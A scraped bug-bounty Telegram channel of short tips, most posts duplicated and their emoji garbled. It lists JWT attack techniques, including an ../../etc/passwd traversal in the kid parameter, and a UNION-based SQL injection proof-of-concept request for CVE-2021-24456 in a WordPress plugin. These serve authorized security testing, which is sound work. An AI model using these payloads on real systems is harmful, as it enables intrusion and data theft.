When testing API endpoints, try removing parts of the URL to check for unexpected data exposure.
Example: /api/endpoint/{id} β‘οΈ /api/endpoint/
Sometimes the parent endpoint spills ALL the data!
πJoin my Telegram Channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
Example: /api/endpoint/{id} β‘οΈ /api/endpoint/
Sometimes the parent endpoint spills ALL the data!
πJoin my Telegram Channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π6
πBugπ:Debug mode leak Phpmyadmin USER NAME AND PASSWORDπ₯
TipπββοΈ: try check every Dir. to check if the Debug mode is on.
πJoin my Telegram Channel for more tips and to stay updatedπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: try check every Dir. to check if the Debug mode is on.
πJoin my Telegram Channel for more tips and to stay updatedπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π₯7π€ͺ2π1π1πΎ1π¨1
π₯ Bug Bounty Tip: Exposing Weak JWT Implementations π₯
A flawed JWT can open the door to account takeovers, privilege escalation, and critical security risks! Letβs break down how to spot these vulnerabilities.
π Vulnerabilities to Test:
πΉ None Algorithm Bypass: Change the JWT header to "alg": "none" and remove the signature. If itβs still accepted β jackpot! π
πΉ Brute-Force Weak Secrets: Crack weak signing keys with tools like jwtcracker, hashcat, or John the Ripper. A short or common key? Youβre in.
πΉ Kid Parameter Injection: Tamper with the kid (Key ID) parameter β use path traversal (../../etc/passwd), local file inclusion, or even command injection.
πΉ JWK Manipulation: Host a rogue JSON Web Key and try to convince the server to trust your malicious key.
πΉ Algorithm Confusion Attack: Test if the server accepts HS256 signatures on tokens meant for RS256. This often leads to key substitution vulnerabilities.
πΉ Expired Token Acceptance: Check if the server still accepts tokens long after theyβve expired β a serious session management flaw.
πΉ Token Forgery: Remove or alter the signature β if the server still trusts the token, youβve found a critical P1! π
π― Pro Tip: Always test JWTs on both the client and server side β sometimes, the weakest links hide in unexpected places.
πJoin my Telegram Channel for more tips and to stay updatedπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHard
A flawed JWT can open the door to account takeovers, privilege escalation, and critical security risks! Letβs break down how to spot these vulnerabilities.
π Vulnerabilities to Test:
πΉ None Algorithm Bypass: Change the JWT header to "alg": "none" and remove the signature. If itβs still accepted β jackpot! π
πΉ Brute-Force Weak Secrets: Crack weak signing keys with tools like jwtcracker, hashcat, or John the Ripper. A short or common key? Youβre in.
πΉ Kid Parameter Injection: Tamper with the kid (Key ID) parameter β use path traversal (../../etc/passwd), local file inclusion, or even command injection.
πΉ JWK Manipulation: Host a rogue JSON Web Key and try to convince the server to trust your malicious key.
πΉ Algorithm Confusion Attack: Test if the server accepts HS256 signatures on tokens meant for RS256. This often leads to key substitution vulnerabilities.
πΉ Expired Token Acceptance: Check if the server still accepts tokens long after theyβve expired β a serious session management flaw.
πΉ Token Forgery: Remove or alter the signature β if the server still trusts the token, youβve found a critical P1! π
π― Pro Tip: Always test JWTs on both the client and server side β sometimes, the weakest links hide in unexpected places.
πJoin my Telegram Channel for more tips and to stay updatedπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHard
Telegram
Bug-bounty-tipsππ°
Sharing tips and Tools for bugbounty
For anyone who doesn't know me, please visit my X page @kassem_s94
Ranked #30 Globally in Web-App Assets Bug Bounty on HackerOne in 2024.
My Toolkit:
secret hunter
xoxo xss
dep_hunter
poisoner PRO
ssrf tool
aurora
For anyone who doesn't know me, please visit my X page @kassem_s94
Ranked #30 Globally in Web-App Assets Bug Bounty on HackerOne in 2024.
My Toolkit:
secret hunter
xoxo xss
dep_hunter
poisoner PRO
ssrf tool
aurora
π₯5π3
Are you interested in learning about cybersecurity news? And you want me to publish it?
Anonymous Poll
56%
yes
6%
no
6%
yes news only
21%
yes for new tools
23%
news and tools
35%
only real cases tips
πBugπ: claim "admin" username lead to access admin accountπ₯
TipπββοΈ: Try register "admin" username to access admin account
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: Try register "admin" username to access admin account
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π₯9π2π1
Bugπ:An unauthenticated API endpoint exposes sensitive users data using email address
TipπββοΈ:check .js file to find some urls for related services
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ:check .js file to find some urls for related services
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π6π1
β οΈWebSocket PII Exposureβ οΈ
WebSockets can expose Personally Identifiable Information if not handled securely.
TipπββοΈ: Always check the WS responses for PII
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
WebSockets can expose Personally Identifiable Information if not handled securely.
TipπββοΈ: Always check the WS responses for PII
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
π€8π2
I was awarded a $1,000 bounty on @Hacker0x01 πͺ
TipπββοΈ: Check for all smuggling types during your Tests.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: Check for all smuggling types during your Tests.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π8π€·1
Bugπ: POST REQUEST SQLI with full data dump
TipπββοΈ: test for sqli on all authenticated POST requests parameters
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: test for sqli on all authenticated POST requests parameters
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π₯8π€·ββ2π1
Bugπ: PII LEAK
TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π15β€2π2π₯1
Bug-bounty-tipsππ°
Bugπ: PII LEAK TipπββοΈ: Always read the source of the pages and check every endpointβ οΈπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94 #bugbountytips #bugbounty #hacking #hackers #TogetherWeHitHarder
When access the same endpoint on the UI version i cant see any data , but using burp repeater I was able to access these informations, also this endpoint found at the source of the pageπ¨
π12π4β‘3
Bugπ: PII LEAK on Unprotected Endpoint.
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
β€8
π₯π₯Againπ₯π₯
Bugπ: PII LEAK on Unprotected Endpoint.[3K records]
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
Bugπ: PII LEAK on Unprotected Endpoint.[3K records]
TipπββοΈ: Always read the source of the pages and check every endpointπͺ
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
β€11π1
Bugπ: IDOR lead to leak agent data and messages.
TipπββοΈ: FUZZ 1st and second and 3rd /dir.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
TipπββοΈ: FUZZ 1st and second and 3rd /dir.
πJoin my Telegram channel for more tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
π₯11π2π2β€1
CVE-2021-24456 is a vulnerability in the WordPress plugin Quiz And Survey Master (QSM) versions prior to 7.0.1, which allowed unauthenticated users to perform SQL Injection via the question_id parameter in a request to the qsm_get_questions AJAX action.
Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:
---
PoC: Unauthenticated SQL Injection
Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456
HTTP Request PoC
POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
Explanation:
The plugin registered an AJAX action qsm_get_questions accessible without authentication.
The question_id parameter is vulnerable to SQL injection.
The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).
---
References:
Patchstack Advisory
NVD - CVE-2021-24456
WPScan Advisory
---
Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:
---
PoC: Unauthenticated SQL Injection
Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456
HTTP Request PoC
POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
Explanation:
The plugin registered an AJAX action qsm_get_questions accessible without authentication.
The question_id parameter is vulnerable to SQL injection.
The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).
---
References:
Patchstack Advisory
NVD - CVE-2021-24456
WPScan Advisory
---
π₯15π5β€4π3π1
Happy to join the 10K Reputation Points Club @Hacker0x01 πͺ
π
I thank this great platform for the wonderful opportunities it offers usπ₯π«‘
πJoin my Telegram channel for BB tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
I thank this great platform for the wonderful opportunities it offers usπ₯π«‘
πJoin my Telegram channel for BB tipsπ t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
β€8π4π3β‘2
